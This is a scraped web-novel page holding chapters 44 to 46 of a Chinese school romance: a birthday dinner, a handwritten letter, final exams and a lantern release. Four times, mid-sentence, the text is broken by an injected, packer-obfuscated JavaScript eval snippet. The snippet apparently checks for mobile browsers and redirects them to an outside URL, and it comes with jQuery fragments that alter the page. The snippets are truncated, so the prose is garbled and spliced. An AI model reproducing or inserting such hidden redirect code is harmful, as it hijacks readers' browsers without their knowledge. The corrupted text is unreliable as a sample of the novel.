祝则溪把胸前的花轻轻塞到黄时雨的怀里,那是一束粉色郁金香,每一朵都开得鲜艳灿烂,在阳光的偏爱下显得更加夺目,花束中央别着一张小卡片,上面写着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16734182|187787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “天天开心”。 黄时雨低头认真摆弄着怀里的花束,祝则溪也不催促,只是默默低头,微笑着注视着她的一举一动,这短暂相处的每一刻对他而言都需要深深刻进脑海,成为捱过这漫漫集训生活的唯一养料。 “明明今天是你的生日,你还给我送花。” 祝则溪摇摇头,“寿星当天说的话都是很灵的,比如我送你这束花是代表……代表祝你幸福,就一定会实现!” 临近初中生们的放学时间,学校门口逐渐被家长们围得水泄不通,黄时雨和祝则溪只好站到马路边,准备打车前往祝则溪提前订好的餐厅。 接孩子的车在路上停得乱七八糟的,堵车的盛况一直从校门口延续到路口的红绿灯处,打的车进不来,两人只好默契地往外走。 明明已经快两个月不见了,黄时雨此时却突然不知道该跟祝则溪说什么,而对方似乎也一直保持着沉默,这段路程就这样仿佛被突然按下了静音键,只剩下背景音一直吵闹不停。 “餐厅离这儿远吗?” 祝则溪闻言把手机屏幕斜过去,屏幕上显示的是十二分钟,“还好,离你的酒店比较近。” “今天不会是你来这儿培训之后第一次出来吃饭吧?” 祝则溪尴尬地挠了挠头,随即应声,“也不是,之前跟齐章年出来吃过一次,不过之后就没有出来过了。” 好不容易在一众混乱的场景中找到了对应的出租车,又恰巧碰上了晚高峰,出租车时开时停,十二分钟的路程硬生生开了快半个小时。 黄时雨开了一点窗户,忍不住开始观察道路上的人们。 看到他们穿着朴素但方便的衣服,背着适合上班的大包包,有走路的、等车的、骑车的、跟旁人聊天的,每一个人都是社会运转不可或缺的钉子,但又好像从未在世事浮沉中崭露头角。 黄时雨能清晰地从他们的脸上看出两个大字:疲惫。 出租车拐进一个不太大的小巷子,周围的布置好像突然从高耸林立的大厦变成了古朴典雅的小楼,只要稍微开一点车窗,就能听到每个餐厅里满满当当的人的嬉笑玩闹声,他们的身影映衬在窗户上,好像把生活和工作彻底隔开,变成了不受任何约束的、自由自在的活的灵魂。 “到了,慢点下车。” 司机转过一个弯,把车靠边停下。 “谢谢师傅,”祝则溪推开车门,“看,就那家。” 黄时雨有点惊讶又有点兴奋——眼前这家餐厅像是一栋老建筑改造而来的,独特的斜顶设计很有上个世纪的情调,有点像黄时雨小时候在电视剧里见过的老洋房,很气派,也很有韵味。 走进餐厅,祝则溪带着黄时雨来到自己提前订好的包间,两人相向而坐。 “你是怎么知道这家店的?” “基地同学推荐的,前两天我还实地来看了一下,才最终确定下来。” 黄时雨似懂非懂地点点头,“那你们平时训练忙吗,是不是从早到晚都上课啊?” 祝则溪立刻摇头,“当然不是,我们上课的时间和练习的时间是交错着的,一般上一节课就会练习相应的内容。” “那你们一般晚上几点休息?” “十一点就放学了,但我一般要接近一点才休息。” 看来也跟我们平时在学校的生活节奏差不多嘛,黄时雨恍然大悟。 菜品一样一样端上桌,黄时雨和祝则溪一边吃一边有一搭没一搭地聊着近期各自的生活,就好像在努力填补对方在自己生命中缺失的那些日子一样。 直到黄时雨的手机有电话打进来—— “喂,你好,”黄时雨停顿了一下等待对方说话,“你送进来吧,最里面这个包间就是我。” 黄时雨立刻站起来招手,祝则溪也顺着她的视线看过去。 一个穿着蛋糕店围裙的店员礼貌地把蛋糕放到桌子上,朝祝则溪留下一句“生日快乐”后转身离开。 44. 第四十四次招惹 “你……” 祝则溪看着黄时雨一点一点、轻轻地解开蛋糕盒上的绳子,又揭开盖子,露出一个精致又漂亮的蛋糕,蛋糕上面还画着一个手握画笔的Q版小人,正甜甜地笑着。 完全就是祝则溪的缩小版。 "生日快乐哦,小祝同学,喜欢吗?" 黄时雨伸手在被生日蛋糕惊呆的祝则溪面前晃了晃,终于把他从自己的小世界里叫醒。 “……喜欢喜欢,”祝则溪毫不犹豫地回答,并站起来跟黄时雨一起开始插蜡烛。 “设计这个图案应该花了你很多时间吧,谢谢。” 黄时雨帮忙插好最后一根蜡烛,“没有啊,也就一点点时间吧。” 突然,祝则溪拿蜡烛的手抖了一下,他慌不跌地背过身去,抬手胡乱抹掉眼角的泪珠。 “你怎么了?” 黄时雨见情况不对,立刻放下手里的蜡烛偏头查看。 结果祝则溪的身子又往另一侧转过去,他不想让别人看到自己脆弱的一面,特别是在自己喜欢的人面前,一定要表现得坚强一些、可靠一些。 黄时雨也不说话,只是双手撑着膝盖默默注视着眼前这个止不住落泪的哭包少年。 祝则溪三两下抹掉眼泪,强撑着露出笑意,“没有,就是觉得太开心了,突然有点控制不住情绪。” 黄时雨也不接话,只是起身用手轻轻揉了揉祝则溪的头发,声音放得更加轻柔,“这才哪到哪啊,接下来还有惊喜哦。” 在转身的一瞬间,祝则溪清清楚楚地听到了黄时雨那句小声吐槽——“小哭包!” 黄时雨招呼祝则溪坐下,自己走到房间门口关闭顶灯,然后默默挪动椅子坐到他身边。 蛋糕上的蜡烛被黄时雨一一点亮,在小壁灯的映照下显得光影格外清晰。 为数不多的光亮在两人面前忽闪忽闪的,就像吹不散的青春心事,偶尔冒头,却又悄然黯淡。 果然,视觉能力被剥夺后,人的其他感觉就变得敏感起来。 比如:此刻的黄时雨能清晰地听到祝则溪剧烈的心跳声。 “许愿吧,要许三个哦!” “好!” 祝则溪轻轻闭上双眼,双手合十。 黄时雨在旁边不由自主地一直盯着他的侧颜看—— 这好像还是黄时雨第一次在烛光下、如此近距离地观察祝则溪的样子。 都说“眼睛是心灵的窗户”,祝则溪的睫毛很长,配上一双桃花眼,似乎天生就自带一种独特的勾人气质;鼻子很挺,精致度恰到好处;嘴唇偏薄,特别是祝则溪每次微微抿住嘴唇的时候,很容易让人产生距离感。 “好了,”祝则溪缓缓睁开眼,一口气吹掉了所有蜡烛。 整个房间瞬间陷入黑暗。 黄时雨正想从桌子上拿手机,摸来摸去却猝不及防地碰到了另一双温热的手,黄时雨心里一惊,在即将收回手的瞬间,被那双手猝不及防地握住了指尖。 黄时雨的整个身体都瞬间战栗起来。 她的手指突然僵住,身体一动也不敢动,就这么静静地被握住,紧张得连大气都不敢出。 两个人的心跳声在此刻完美重叠。 不到三秒钟,那双手便从黄时雨的指尖悄悄挪走,跟握住时一样突然。 房间里静得可怕,两人的呼吸声伴随着心跳声清晰可闻。 “我……我去开灯,”祝则溪慌乱起身,起身时还不小心撞到了桌角,发出一声轻微的“嘶”的声音。 黄时雨也从椅子上站起来,不自然地把双手背在身后。 房间恢复光亮的一瞬间,祝则溪耳尖的红晕格外引人注目。 短暂的沉默似乎更加坐实了刚刚黑暗中发生的一切都是真实存在的,黄时雨不敢细想,只能快速转移话题—— “切蛋糕吧,”黄时雨稍微平复了一下心情,把刀和盘子递过去。 她刻意只捏住盘子的小小一角,递过去时也不敢注视他的眼睛,好像突然就变成了一个慌张、胆小的刺猬,只敢把自己裹起来,偷偷往外看。 把盘子递给祝则溪后,黄时雨随即转身从书包里拿出提前准备好的生日礼物—— “因为不太确定你喜欢什么,所以我给你准备了一大袋零食!” 黄时雨双手紧紧攥住袋子上方的密封条处,晃动着手里一大袋花花绿绿的零食,里面什么类型、什么口味的零食都有。当然,肯定少不了黄时雨曾经送给祝则溪吃过的、他也表示非常喜欢的脆脆鲨。 “谢谢,我很喜欢!” 祝则溪双手稳稳接过零食袋,起身朝黄时雨鞠躬感谢。 “这里面是不是有你最喜欢吃的脆脆鲨?” 祝则溪透过透明袋子浅浅看了一眼里面的内容,一眼就捕捉到了好几种不同口味的脆脆鲨。 “当然啦,毕竟有人说过我可是搞批发的嘛,”黄时雨自己说着说着都忍不住笑起来,祝则溪跟着也情不自禁地笑出声。 黄时雨背上书包拿起花束,跟祝则溪一起慢慢往酒店方向走。 月亮钻入厚重的云雾中,像是在跟人类玩捉迷藏。 两人继续沿着这条古朴雅致的巷子往前走,街道两旁充斥着满满当当的生活气。 每一家餐厅都人满为患,甚至还有好些个顾客坐在门口等待叫号,大家纷纷以吃到美食作为终极目标,无论付出怎样的时间和精力都在所不惜。从一家家店铺门前走过,虽然听不清他们具体在聊什么,但从每一个人脸上的笑容和夸张的手势中不难看出,外露的喜悦是内心狂欢的最大表征。 “祝则溪,你今天晚上请假了,老师不会批评你吧?” “不会,因为今天晚上本来就没有课,就是色彩练习,我回去把作业补上就好了。” 色彩练习?! 黄时雨在来之前特意做了一些功课,了解了一下美术生的学习内容,网上都说色彩是美术生最头疼的一部分。 “我看网上都说色彩挺难的,你也觉得吗?” 祝则溪直言不讳,“我也觉得,最难的就是灰部,总是不太好控制色彩比例,很容易就太纯了。” “噢……”黄时雨毕竟不是专业的,听到这些专业词汇感觉有点迷迷糊糊的,只能小声附和,“那确实挺难的。” 十几分钟的路程说近也近,两人就着马路上忽明忽暗的霓虹灯把生活中的小事揉巴揉巴浓缩成短短的几句话讲给对方听。虽然才分开几个月,虽然大家都只是苦命的高三生,但总感觉对方已经离开自己的生活很久了,很想要快点把这些无聊的日常分享给他/她。 在酒店楼下,祝则溪陪着黄时雨一起等电梯。 “下次见面恐怕就是你明年回满城一中了,还有……”黄时雨认真算了算,“大概还有五个多月。” “嗯,”祝则溪只是闷闷地应答了一声,什么也没说。 因为他早就算过这笔账了,还有整整五个半月,也就是差不多半年的时间。 祝则溪有时候真的很害怕想象未来的这些事,曾经从来没有想过能跟黄时雨认识,总是觉得只要能默默看着她就已经是最大的恩赐了,可没想到时至今日,祝则溪的想法完全变了:他想看到她,甚至也想让她感同身受。 电梯到达的声音响起得很突然,电梯上方的绿色亮光也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16750322|187787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在此刻同步闪烁。 “那我走啦?” “好,去吧,”祝则溪在电梯外注视着黄时雨走进电梯,按下对应楼层。 他的喉结滚动着,却半天没说出一句话。 眼看着电梯门即将关闭,黄时雨突然用两只胳膊在头顶上比划了一个大大的爱心,她轻轻偏头,露出专属黄时雨的招牌笑容。 祝则溪仿佛被黄时雨的可爱击中了心脏一般,竟然也鬼使神差地拙劣模仿着她的动作,虽然看上去有点笨笨的,但特别真诚,特别走心。 连动作发起者本人都忍不住笑了。 两个人就这样镜像般地朝对方发射爱心,发射持续时间为三秒钟。 祝则溪在酒店大堂里来回踱步,直到黄时雨发消息说自己已经到房间,他才打车往基地赶。 酒店到基地的距离比较远,打车差不多要二十五分钟。 祝则溪坐在出租车上,看到黄时雨刚刚发来的一条新消息。 “小祝同学,零食袋子里有惊喜哦,回宿舍再看!” 祝则溪立刻放下手机,拿起零食袋左右搜寻,才最终在最底部看到了一个画满涂鸦的信封。 他隔着袋子轻轻触碰着,随即又把袋子紧紧抱在怀里。 祝则溪回到宿舍时已经九点多了。 宿舍里没有别人,所有人都还在教室里勤勤恳恳地练习。 祝则溪回到宿舍的第一件事是跟黄时雨报备:“我到宿舍了。”对方秒回:“好的,记得看信哦!” 他把袋子放到桌子上,并没有急着把信取出来,而是先刷牙、洗澡,在浴室里忙活了好一阵,才收拾得干干净净地坐到椅子上。 他轻轻地打开零食袋,沿着密封袋边缘终于探到了信封。 信封完好无损,几乎一点褶皱都没有,上面画满了各式各样的涂鸦,包括生日帽、蛋糕、蜡笔、烟花、蜡烛等生日元素,虽然笔法稚嫩,但一笔一画都显得十分用心。 信封中间有一个红色爱心的火漆,是整个信封最独特、最吸睛的地方。 祝则溪拿在手里反复抚摸,最终才下定决心用美工刀轻轻撬起火漆。 里面是一张薄薄的粉色便签纸—— 亲爱的小祝同学: 首先祝你十八岁生日快乐,成功进入成年人的世界啦! 人们都说,十五六岁时交到的朋友,会是一辈子的好朋友。我想,我现在大概也成为了这句话的信徒。 我们第一次见面,还是在我十六岁的时候,当时我为了班里的黑板报设计,急得焦头烂额,就想着到一班去找找看有没有人愿意帮忙,没想到这次的“尝试”就变成了我们的初遇,有没有觉得很不可思议呀? 恕我直言,当时对你的第一印象是:一个热心肠的帅哥。 之后,我们共同参与了新年晚会、小年聚餐、辩论赛等大大小小的活动,我们彼此之间越来越了解,也越来越习惯彼此生活中有对方的存在。 我总是习惯于给我身边的朋友们划分等级,比如哪些朋友是可以深交的,哪些朋友只是阶段性的,又或者只是某个方面的,你想不想知道我对你的评价呢? 哈哈那我就直说了:你是我愿意长期深交的、能全方位交流的一级朋友,也是达到这一等级速度最快的朋友。 怎么样,有没有很惊喜啊,祝则溪,希望你能一直保持哦! 最后的最后,我还有一点要补充:五个月很快的,再见面时,希望我们都成为了更好的大人,或者说,成为了彼此心目中更优秀的人。 要记得天天开心哦,小寿星! 黄时雨 2017年9月10日 45. 第四十五次招惹 回到满城一中,黄时雨不得不收心,又重新投入到快要把人压得喘不过气的高三生活中。 一轮复习、做题、写卷子、阶段性考试、公布成绩、讲卷子……没错,这就是每个月的常态。 唯一跟高二有点不同的是,黄时雨的成绩逐渐稳定下来,在全班基本能排到第八名左右,年级一般在第十五名左右。 “黄时雨,我看了你上高三以来每一次阶段性考试的成绩,进步很大,排名也比较稳定,但是有一个特别不好的地方,你知道是什么吗?” 高三上册进入尾声,在距离期末考试仅剩半个月的关键时刻,老赵从第一名开始,轮流叫人进办公室谈话,分析成绩,调整心态,第二天就轮到黄时雨了。 “我知道,我数学不会写的就喜欢空着,”黄时雨说话声越来越小,头也随之低下去。 “对,”老赵猛拍了一下桌子,把黄时雨吓得一惊。 “虽然我们都知道数学最后两道大题很难,在高考中就是专门选拔人才的,但是不管你会不会写,能不能做出来,你都要把步骤写上去是不是,这样至少能挣一些步骤分对不对,而且万一在写的过程中茅塞顿开,一下子写出来了,那不是更好?” 老赵一句一个追问,步步紧逼,黄时雨被这气势吓得只能连连点头。 “你们赵老师说得很有道理啊,”坐在老赵隔壁的小陈老师从资料书堆里抬起头,连声附和,“你哪怕把题目上的已知条件稍微变换一下说法,再结合一点前两个问的答案,至少也得给你个三五分吧。” “我知道了,陈老师,”黄时雨乖乖应答。 老赵随后又嘱咐了几句关于期末考试的相关事宜,就让黄时雨回教室了。 黄时雨刚回到教室,吴笙笙就凑过去好奇询问—— “老赵跟你说啥了?” 黄时雨耸耸肩,“就说我怎么总是不写数学最后两道大题的第三问,因为我不会写啊……” “我记得,之前好像小陈老师也说过这个来着,是不是?” 黄时雨突然眯眼盯着吴笙笙,表情里透露出一丝邪恶,“你嘲笑我,笙笙?” 吴笙笙立刻抱拳,在两人之间隔出足够宽的“安全距离”,态度诚恳地道歉,“错了,我收回我刚刚说的话。” 黄时雨这才作罢。 这学期的期末考试,理科考场正好设置在满城一中,黄时雨又恰好被安排在一班教室,可谓占尽了天时地利人和。 而且更让人惊讶的是,黄时雨这一次竟然破天荒地坐在了吴笙笙的后排,也就是说,两人上次的一模成绩在年级排名中是相邻的,一个是第十一名,一个是第十二名。 黄时雨坐在座位上,等待监考老师分发试卷。 果然跟大家说的一样,高三的成绩变数太大了,这间第一考室里又增加了许多新面孔,也有很多老面孔很久不见了,那些曾经稳坐年级前十宝座的同学,有几个也早已不知所踪。 黄时雨深吸一口气,在心里暗暗发誓:这一次考试,我一定要冲到年级前十! 教室前面的钟表指向8:55,语文卷子开始往后传递。 吴笙笙从最上面拿起一张卷子,右手把剩下的卷子从头顶往后传。 黄时雨一手接过卷子,一手趁吴笙笙还没收手时轻轻握了一下,然后用只有对方能听到的气音说,“我们都加油!” 吴笙笙没有回答,只是微微侧过脸点了点头。 黄时雨谨记老赵和小陈老师的教诲,就算是自己再不会写的题目,也尽力多写一些步骤,减少留白面积。 发卷、交卷、发卷、交卷……很快时间就来到了最后一门英语考试的最后几分钟。 黄时雨随意地靠在椅背上,右手不自觉地把笔转成圈,阳光透过笔帽上的缝隙,也随之在试卷上投下浅浅淡淡的印痕。 自从参加了英语竞赛后,黄时雨的英语在这几次阶段性考试中几乎从未失手,而且往往提前二十多分钟就写完试卷进入检查模式了。 钟表上的指针一分一秒地流逝着,很快直指五点整。 最后一堂考试结束,黄时雨和吴笙笙收拾好书包,一前一后回到三班教室。 教室里又是三五成群地在讨论答案,两人绕过激烈讨论区,默默钻到自己的座位上悄悄坐下。 这是老赵提前强调过的,让大家考完试之后不要急着离开,他有重要的事情要宣布。 坐在前门门口的同学眼看着老赵过来了,大喊一声“老赵来了”,同学们就像小鸟一样四散逃窜,纷纷三两步跑回座位上,找到自己的归属地。 “大家估计已经猜到我要说什么了,”老赵不紧不慢地拧开保温杯喝水,等大家都把注意力放到自己身上时,才接着说,“寒假也是要补课的,大家都清楚,只不过今年补课时间要长一些,因为过年时间晚,也就是说,我们要一直补到2月10号。” 这几天整个年级都在讨论寒假补课的事,大家多多少少也有所耳闻了。 黄时雨跟吴笙笙仅仅只是对视一眼,眼神中“果不其然”的意味就展现得明明白白。 “当然,还有最重要的,后天上午第一节课,留给大家搬教室,我们的教室就是小花园进门的那一间,同学们别走错了。” “黄时雨,你到时候看着点啊!” 黄时雨立刻收住要打哈欠的想法,冲老赵点头保证。 补课的日子拢共也就十来天,却让黄时雨感觉仿佛错过了年前的所有准备工作,买鞭炮、熏腊肉、写春联、买新衣服等一样都没赶上,被黄妍女士准确评价为:苗苗参与度最低的一个春节。 补课的这几天里,祝则溪晚上偶尔会发来几条消息,黄时雨有时能准时回复,有时会等到第二天、甚至第三天才回复,祝则溪也从来不会揪着这个点不放,只会在每一次聊天中做消息垫底的那个人,并总是以一个超可爱的表情作为结束。 补课的最后一天,满城终于迎来了多年不见的下雪天。 从黄时雨有记忆开始,最近一次见到雪好像还是幼儿园,那时候还待在老家过年。院子里,小米粒般的雪花从天而降,落在青色的石板上瞬间消失不见,原本正在房间里烤着火、看着动画片的黄时雨听到外面有小孩子在喊“下雪了”,立刻跳下沙发,也不管外面有多么天寒地冻,站起来就冲到院子里。 “下雪了诶,爸爸妈妈,”黄时雨兴奋地伸手想要抓住雪花,黄妈妈怕黄时雨被冻着,赶紧拿来手套和帽子给她戴上。 “行了,去玩吧,”村子里平常是很少有车的,孩子们都很喜欢在马路上跑跑跳跳,黄时雨作为一个总爱凑热闹的小孩,自然也不例外。 黄时雨一溜烟奔向已经聚集在一起的小伙伴们,黄爸爸还在后面大声提醒,“注意安全,别摔倒了!” 黄时雨头也不回,一路小跑着钻到孩子堆里,跟别人比谁抓住的雪花最多,谁的雪花融化得最慢,从马路这头跑到马路那头,从大白天跑到夜幕降临,这是黄时雨唯一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16765421|187787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一次关于雪的记忆。 “苗苗,你看,外面下雪了!” 黄时雨原本正背对着窗户收拾书包,因为吴笙笙这句话激动地差点撞到桌角,她拉着吴笙笙跑到梅花树下,看到一小片一小片雪花正扑簌簌地从空中飘落,拉住吴笙笙就是一段兴奋地输出,“我的天哪,满城今年居然下雪了,真的很少下雪啊!” 南方的孩子似乎天生就对下雪这件事没有抵抗力,再加上小花园里的梅花全都开了,暗红色的梅花缀满枝头,现在又有了雪花的氛围感加持,一楼的同学们都跑到花园里,二楼的同学们都跑到走廊上,视线齐刷刷地注视着雪花飘落,一点都舍不得移开。 “来,我给你们拍个照吧,”戚老师不知道什么时候冒出来的,拿起手机依次给站在小花园里的女孩子们拍照。 戚老师很会引导,看得出想努力留下同学们在青春里最美好的模样。 轮到黄时雨和吴笙笙了,戚老师从镜头里看着两人—— “诶对,再往左边走一点。” “别紧张,笑一下。” “自然一点你们俩,自信拿出来!” 两人按照戚老师的要求一步一步照做,终于在经过了反复调整之后成功拍完了。 “回去我发你微信啊,”戚老师拍了拍黄时雨的肩膀,转身又投入到下一组的拍摄任务中。 这是黄时雨今天碰到的第一件喜事。 至于第二件喜事……就是发现对面的学伴又重出江湖啦! 原本早已习惯对面楼里一片黑漆漆的氛围,习惯了独自在台灯的光亮下学习和做题,黄时雨看了一眼时间——8:12,又下意识地在翻书包取试卷的时候往窗外一瞟,那个许久没有发出过光亮的窗户突然再次生发出令黄时雨感到有些陌生的亮光,还是那个熟悉的台灯,还是那个熟悉的少年身影,跟从前一模一样。 黄时雨忍不住眨巴眨巴眼睛,竟一时回不过神来。 她特别好奇他这段时间去哪了,干嘛去了,为什么突然又回来了,一连串的问题像沸水里的水蒸气一样不受控制地往外冒,黄时雨不自觉地盯着对面那扇窗户发愣了好几分钟。 当然还有第三件喜事……那就是祝则溪发来的新消息。 手机上的消息提示音把黄时雨的视线硬生生给拉回来,她凑近看到屏幕上的消息来源是祝则溪,立刻点开微信对话框,是祝则溪发来的一个小熊探头的表情包,往上翻还有好几条消息,是祝则溪今天下午发来的。 “我今天就回满城了。” “要过完年,大年初七才走。” “你们是今天补课结束对吧?” “是不是有很多作业啊?” 黄时雨逐条引用,逐条回复,没想到一发过去,对面就是秒回。 祝则溪:那你这几天就打算一直在家学习吗? 当然不是啊,黄时雨在心里连连摇头。 ——好像妈妈曾经说放过,在孔明灯上许愿会特别灵验,不如趁着今年过年的机会去实践一把。 黄时雨:要不我们一起去放孔明灯吧,明天晚上,可以不?我妈妈说在孔明灯上许愿很灵的,咱们也去试试吧。 不过刚发出这句话黄时雨就后悔了。 妈妈应该不会同意我晚上跟一个男生单独出去吧,想到这,黄时雨立刻在对话框里补充了一句:“我叫上吴笙笙,你叫上齐章年,人多的话比较有意思!” 祝则溪一边笑一边快速打字,“遵命。” 46. 第四十六次招惹 从跟祝则溪的对话框里出来,黄时雨立马给吴笙笙发消息,“笙笙,明天晚上出来放孔明灯,咱俩加上祝则溪和齐章年,你有空不?” 知道吴笙笙一般不会秒回,黄时雨只好放下手机,专心致志地投入到作业当中,只是偶尔听到消息提示音时才瞄一眼手机。 瞄一眼,微博推送; 再瞄一眼,群聊消息。 …… 终于在黄时雨写完四篇英语阅读后,吴笙笙那边才发来了回应,“可以呀,还是在新露广场集合?” “对,明天晚上老地方见!” 年味随着除夕的临近一天比一天浓烈起来,满城街道上随处可见的、挂满枝头的小彩灯点亮了夜的天空,也点亮了每一个满城人心中对家的思念、对团圆的渴望。 黄时雨吃完晚饭简单收拾了一下,背了个小挎包站在门口跟窝在沙发上看电视的爸妈打招呼,“爸爸妈妈,我先走了啊,一会儿就回来!” “十点之前必须到家,听到没有?” 尽管今天之内,这句话的出场次数已经不低于五次了,但黄妈妈还在一而再再而三地着重强调。 黄时雨乖乖应答,“知道啦!” 距离约定的时间还有二十多分钟,黄时雨一点也不着急,慢慢悠悠地一边走、一边打开手机拍照留影。 虽然每一年过年的流程都基本一样,黄时雨也还是觉得很有记录的必要,毕竟岁岁年年人不同,每一年都会有人走进另一个人的生命里,让两根原本不相关的线绕成结,成为若干年后的回忆锚点。 也不知道明年的今天,自己是否已经实现了梦想,进入了理想院校,黄时雨走着走着,思绪又忍不住飘向未来。 黄时雨到达新露广场时,居然是……最后一个到的?! “你们怎么到这么早,我还以为我会是第一个到的呢。” 齐章年立刻解释,“我今天下午本来就跟祝则溪在一块,所以我们俩吃完晚饭就一直在这附近溜达。” 黄时雨点点头,目光转向吴笙笙。 “我也刚到,就比你早几分钟吧。” 黄时雨从来没有感受过这么拥挤的“散步”:一开始可以四人并排,走着走着就变成最多三人,进而又变成两人,最后只能一人一排往前走。 四个人的队形逐渐从“一”变成“1”。 沿着新露广场的台阶往下走,广场两侧的小摊小贩们的吆喝声也一点一点地钻进黄时雨的耳朵。四个人一边走还要一边小心翼翼地躲避在各个摊位随机刷新的小孩。 “卖麻糖,卖麻糖咯!” “走过路过,不要错过,糖葫芦串,五块一串!” “……” 四人在光影交错中避开人群,径直走到河边卖孔明灯的摊位前。 “老板,多少钱一个?” 看到有人在摊位前蹲下来,老板立刻放下手机,黄时雨这才发现,这个小老板看起来似乎也还是个稚气未脱的学生。 这个小老板看起来有点拘束,没有任何推销,也没有任何吆喝,在一众喧哗声中似乎有些格格不入。 他轻咳了一声,回答了黄时雨的价格问题,“八块钱一个。” 他的声音有点沙哑,像是许久没有开口跟人说话导致的。 黄时雨转头跟另外三个人眼神示意,大家不约而同地点头表示同意。 “行,那我们买一个吧,”祝则溪在黄时雨身边蹲下,不由分说地从包里掏出零钱塞到小老板手里。 速度之快,跟去年在超市结账时如出一辙! 黄时雨刚想说不能总是让祝则溪一个人花钱,结果话还没说出口,就被齐章年直接打断,“那个,我们找个合适的地方吧,这里人太多了。” “好,”吴笙笙前后左右扫视了一圈,眼尖地指着河边一处空地,“我们去那里吧,快走。” 一行人跑到空地处,黄时雨把从小老板那里借来的马克笔拿出来,握住笔在另外三个人面前来回晃悠,“你们谁先写啊?” 齐章年首先站出来,“我先来,笔给我吧。” 四个人同时蹲下,把被江风吹起来的边角紧紧按住。 齐章年的脑袋逐渐低下去,似乎完全不用思考,只见马克笔在纸上大手一挥,寥寥数笔就写完了自己的心愿。 “你来?”齐章年顺手把马克笔交给旁边的祝则溪。 “嗯,”祝则溪攥着笔,骨节分明的手指仿佛能随心所欲地把玩着手中的马克笔。 他的每一笔每一画都写得很重,仿佛要把所有的情感和力道都倾入其中。每写完一个字手腕往下挪的时候,刘海总是会被风吹得一抖一抖的,在刘海的夹缝里露出那双充满勾人意味的桃花眼。 第三个书写心愿的人轮到黄时雨。 毕竟自己是孔明灯活动的发起人,黄时雨早就提前在手机上搜索了跟高考有关的“心愿大全”,经过了好一番精挑细选,黄时雨最终选定了两个兼具朴实和文艺的词语——“高考顺利,万事顺遂”。 黄时雨几乎很少使用马克笔,她努力把控住笔头的方向,却还是控制不住歪歪斜斜地留下了这八个字。 说是黄时雨学习生涯里最滑铁卢的一次书写也不为过。 ——另外三个人不由自主地发出了集合之后的第一声爆笑。 黄时雨自己也觉得好笑,边笑边从兜里掏出手机拍下了这历史性的一刻。 “笙笙,你来写,我看看你能写成什么样子?” “哼,我本来写字就不好看,跟我比算什么本事啊,”吴笙笙一边写,还不忘一边对黄时雨的“字迹”反复鞭尸。 黄时雨忍不住翻白眼,等吴笙笙在最后一个字收尾时,狠狠掐了一下她的胳膊。 四个人分别提着孔明灯的四个角慢慢站起来。 孔明灯从薄薄一片瞬间变得鼓鼓囊囊,江风悄无声息地从下摆徐徐吹进,祝则溪拿出配套的打火机,对准火线一点,小小的火苗就这样热烈地燃烧起来。 另外三人屏气凝神,手中的孔明灯借助风和火之手开始一点一点往上升。 “可以放了,”黄时雨紧紧盯着手里的孔明灯,嘴上开始倒数,“三、二、一!” 四个人同时松手,孔明灯如有神助一般直直地沿着江边往上飞去,很快汇入孔明灯的大队伍中,变成了江上不起眼的一点星光。 黄时雨立刻掏出手机记录下这具有纪念意义的一刻。 “我们来合个影吧,来!” 齐章年不由分说地站到最前面,掏出手机打开自拍模式。 人好像天生就对镜头有一种不可言说的默契,看到面前出现摄像头,脸上立刻就会浮现出标准笑容,同时手上也会莫名其妙地伸出两根指头。 黄时雨站在齐章年身后,祝则溪和吴笙笙一左一右地包围着她。 齐章年连续拍了好几张照片才收手。 “我一会儿回家发给你们吧,”齐章年整理了一下被江风吹乱的发型,突然想起什么似的摇了摇手机,补充道,“或者我们拉个群,比较方便?” 黄时雨表示赞同,“可以啊,我来拉吧。” 黄时雨把大家拉进同一个群,然后修改群名为“一中小分队”。 从现在开始,这个群就变成了这四个人的特殊秘密基地了。 放完孔明灯,大家决定沿着江边再走一走。 黄时雨和祝则溪走在中间,吴笙笙和齐章年走在各自的好朋友身边。 新年的夜色如墨般倾泻而下,江畔却缀满了流动的光点。对岸高楼的霓虹倒影在漆黑的水面上,被晚风揉碎成千万条金蛇。 来来往往散步的人三三两两沿着堤岸前行,在羽绒服摩擦的窸窣声里,不时爆发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16782681|187787||http|test|mini|href|location''.split(''|''),0,{})); () { 